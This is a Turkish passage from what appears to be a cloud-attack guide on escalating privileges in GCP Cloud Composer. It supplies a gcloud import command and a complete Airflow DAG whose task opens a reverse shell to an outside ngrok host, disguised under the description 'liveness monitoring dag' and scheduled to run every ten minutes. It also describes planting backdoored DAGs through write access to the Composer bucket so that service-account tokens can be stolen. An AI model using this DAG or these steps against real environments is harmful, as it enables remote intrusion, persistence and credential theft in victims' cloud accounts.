Bu izinle yeni oluşturulan composer ortamına herhangi bir hizmet hesabını eklemek mümkündür. Daha sonra, hizmet hesabı jetonunu çalmak için composer içinde kod çalıştırabilirsiniz.
Python DAG kodunu bir dosyaya ekleyin ve çalıştırarak içe aktarın:
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
Ters kabuk DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Composer bucket'ına Yazma Erişimi
Bir composer ortamının tüm bileşenleri (DAG'lar, eklentiler ve veriler) bir GCP bucket'ında depolanır. Eğer saldırganın buna okuma ve yazma izinleri varsa, bucket'ı izleyebilir ve herhangi bir DAG oluşturulduğunda veya güncellendiğinde, arka kapılı bir versiyon gönderebilir böylece composer ortamı depolamadan arka kapılı versiyonu alır.